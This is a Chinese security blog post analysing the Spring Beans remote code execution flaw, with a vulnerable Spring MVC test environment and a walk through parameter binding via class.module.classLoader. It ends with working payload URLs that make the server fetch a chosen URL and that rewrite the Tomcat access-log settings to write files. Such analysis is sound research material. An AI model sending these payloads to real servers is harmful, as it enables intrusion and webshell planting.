Spring Beans RCE分析(附带环境源码)

2022-05-17 18:19:45 浏览数 (1)

环境搭建

web.xml

代码语言:javascript复制
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">

    <servlet>
        <servlet-name>springmvc</servlet-name>
        <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
        <!--关联一个springmvc的配置文件:【servlet-name】-servlet.xml-->
        <init-param>
            <param-name>contextConfigLocation</param-name>
            <param-value>classpath:springmvc-servlet.xml</param-value>
        </init-param>
        <!--启动级别-1-->
        <load-on-startup>1</load-on-startup>
    </servlet>

    <!--/ 匹配所有的请求;(不包括.jsp)-->
    <!--/* 匹配所有的请求;(包括.jsp)-->
    <servlet-mapping>
        <servlet-name>springmvc</servlet-name>
        <url-pattern>/</url-pattern>
    </servlet-mapping>
</web-app>

springmvc-servlet.xml

代码语言:javascript复制
<?xml version="1.0" encoding="UTF-8"?>
<beans
        xmlns="http://www.springframework.org/schema/beans"
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:context="http://www.springframework.org/schema/context"
        xmlns:mvc="http://www.springframework.org/schema/mvc"
        xsi:schemaLocation="http://www.springframework.org/schema/beans
        http://www.springframework.org/schema/beans/spring-beans.xsd
        http://www.springframework.org/schema/context
        https://www.springframework.org/schema/context/spring-context.xsd
        http://www.springframework.org/schema/mvc
        https://www.springframework.org/schema/mvc/spring-mvc.xsd">
    <!-- 自动扫描包,让指定包下的注解生效,由IOC容器统一管理 -->
    <context:component-scan base-package="com.naihe.controller"/>
    <!-- 让Spring MVC不处理静态资源 -->
    <mvc:default-servlet-handler />
    <!-- 支持mvc注解驱动 在spring中一般采用@RequestMapping注解来完成映射关系
    要想使@RequestMapping注解生效
    必须向上下文中注册DefaultAnnotationHandlerMapping
    和一个AnnotationMethodHandlerAdapter实例
    这两个实例分别在类级别和方法级别处理。
    而annotation-driven配置帮助我们自动完成上述两个实例的注入。 -->
    <mvc:annotation-driven />
    <!-- 视图解析器 -->
    <bean class="org.springframework.web.servlet.view.InternalResourceViewResolver " id="internalResourceViewResolver">
        <!-- 前缀 --> <property name="prefix" value="/WEB-INF/jsp/"/>
        <!-- 后缀 -->
        <property name="suffix" value=".jsp" />
    </bean>
</beans>

pom.xml

代码语言:javascript复制
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>springmvc</artifactId>
    <version>1.0-SNAPSHOT</version>
    <dependencies>
        <dependency>
            <groupId>org.springframework</groupId>
            <artifactId>spring-webmvc</artifactId>
            <version>5.2.1.RELEASE</version>
        </dependency>
        <dependency>
            <groupId>org.springframework</groupId>
            <artifactId>spring-context</artifactId>
            <version>5.2.1.RELEASE</version>
        </dependency>
        <dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>javax.servlet-api</artifactId>
            <version>3.1.0</version>
        </dependency>
        <dependency>
            <groupId>org.projectlombok</groupId>
            <artifactId>lombok</artifactId>
            <version>1.18.4</version>
        </dependency>
    </dependencies>

</project>

可能出现404的情况,解决方法

可能因为没用导入依赖导致的,如果没用发现lib文件夹,需要创建后添加依赖,下面是如何添加

参数绑定流程分析

Demo

user

代码语言:javascript复制
package com.naihe.model;

public class User {
    public String name;
    public String age;
    public info info;

    public User(String name, String age, com.naihe.model.info info) {
        this.name = name;
        this.age = age;
        this.info = info;
        System.out.println("调用了User的有参构造");
    }

    public User() {
        System.out.println("调用了User的无参构造");
    }

    public String getName() {
        System.out.println("调用了User的getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("调用了User的setName");
        this.name = name;
    }

    public String getAge() {
        System.out.println("调用了User的getAge");
        return age;
    }

    public void setAge(String age) {
        System.out.println("调用了User的setAge");
        this.age = age;
    }

    public com.naihe.model.info getInfo() {
        return info;
    }

    public void setInfo(com.naihe.model.info info) {
        this.info = info;
    }

    @Override
    public String toString() {
        return "User{"  
                "name='"   name   '''  
                ", age='"   age   '''  
                ", info="   info  
                '}';
    }
}

info

代码语言:javascript复制
package com.naihe.model;

public class info {
    public String QQ;
    public String vx;

    public info(String QQ, String vx) {
        this.QQ = QQ;
        this.vx = vx;
        System.out.println("调用了info的有参构造");
    }

    public info() {
        System.out.println("调用了info的无参构造");
    }

    public String getQQ() {
        System.out.println("调用了info的getQQ");
        return QQ;
    }

    public void setQQ(String QQ) {
        System.out.println("调用了info的setQQ");
        this.QQ = QQ;
    }

    public String getVx() {
        System.out.println("调用了info的getvx");
        return vx;
    }

    public void setVx(String vx) {
        this.vx = vx;
        System.out.println("调用了info的setvx");
    }


    @Override
    public String toString() {
        return "info{"  
                "QQ='"   QQ   '''  
                ", vx='"   vx   '''  
                '}';
    }
}

HelloController

代码语言:javascript复制
package com.naihe.controller;

import com.naihe.model.User;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class HelloController {
    @ResponseBody
    @RequestMapping("/index")
    public String index(User user) {
        return user.toString();
    }
}

访问:

代码语言:javascript复制
127.0.0.1:8080/index?name=naihe&age=567&info.QQ=123&info.vx=13

在这里我们看一下给一个不存在的属性赋值会怎样:

代码语言:javascript复制
127.0.0.1:8080/index?info.vx.naihe=13&info.vx.567=32

在后面调用了getvx方法两次,其实可以说明这里是按顺序进行getter方法调用,一层调一层,直到调用setter方法或调用setter方法失败

参数绑定过程

获取url中的参数

执行绑定

添加参数的值:

获取BeanWrapperImpl

给setPropertyValues赋值:

在这里循环遍历每一个propertyValues

获取到PropertyValue中的值

到目前为止还没用调用set方法

当运行到这里时

在这里已经将参数传入到了User对象

上面的Age属性不是自定义的类,下面我们来分析info

info类的参数:

再次回到setPropertyValues

获取info类的信息

后面一直跟到createDefaultPropertyValue

newValue

通过反射无参构造出info类

后面再次来到setPropertyValye,进行赋值

后面就和age分析一样就不做重复

获取request

漏洞分析:

直接在CachedIntrospectionResults.getPropertyDescriptor下端点

可以发现多缓存了一个class属性 我们不妨大胆猜测一下这个class也可控可以通过传参的方式

代码语言:javascript复制
localhost:8080/index?class.123?=123

依旧是在CachedIntrospectionResults.getPropertyDescriptor下端点,直接跳到下一个光标,看是否能进入class类中

可以发现可以进入class类,下面就是class存储的属性,在这里绕过我们能控制class.classLoader就可以加载任意的类,我们在里面找一下是否存在classLoader,在这里可以发现并没有classLoader的存在,当时在jdk9及以上,里面会存在一个 module属性

查看Class类的源码,确实发现有一个module

而这个Module类存在一个ClassLoader类

这一下我们就可以利用class.module.classLoader来获取classLoader了

接下来我们进行访问

HTTP状态 404 - 未找到

存在classLoader,继续访问

代码语言:javascript复制
localhost:8080/index?class.module.classLoader.123?=123

存在resources,继续访问

代码语言:javascript复制
localhost:8080/index?class.module.classLoader.resources.123?=123

可以发现这里又一个context,应该就是context的上下文 继续

代码语言:javascript复制
localhost:8080/index?class.module.classLoader.resources.context.123?=123

上面点开一个看看是什么类

可以看见是StandardContext,确实是上下文

代码语言:javascript复制
localhost:8080/index?class.module.classLoader.resources.context.123?=123

在这里我们可用设置content的数值,但真正的目的并不是给content复制而是调用getContent方法,下面有个小Demo,至于如何调用getContent前面最开始分析的有,但是再这里我再次解释一下,当要调用一个类的属性中的类时,会先调用该属性的getter方法,因此我们只需要再content后面再随便添加一些内容就可以调用getContent方法

代码语言:javascript复制
package com.naihe.controller;

import java.io.IOException;
import java.net.URL;

public class urlDemo{
    public static void main(String[] args) throws IOException {
        URL url = new URL("http://127.0.0.1:8000/567");
        url.getContent();
    }
}

利用

url请求:

context中有一个configFile属性 可以通过赋值来修改configFile的值,来生成有URL类,然后就是给URL的content属性赋值。再传入一个参数出发getContent方法

payload:

代码语言:javascript复制
http://localhost:8080/index?class.module.classLoader.resources.context.configFile=http://127.0.0.1:8000/naihe567&class.module.classLoader.resources.context.configFile.content.naihe=xxx

Access日志写shell:

StandardContext继承自ContainerBase

在这里可以调用parent获取父类

下面就只分析需要覆盖那些属性的思路

看一下有哪些类使用了这个接口

这里有一个AccessLogValve类,是记录Access日志的

上面就是需要修改的属性

通过覆盖这三个属性进行修改Access日志的写入

payload:

代码语言:javascript复制
localhost:8080/index?class.module.classLoader.resources.context.parent.pipeline.first.pattern=success&class.module.classLoader.resources.context.parent.pipeline.first.directory=C:/&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=1&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.txt&class.module.classLoader.resources.context.parent.pipeline.first.prefix=flag

0 人点赞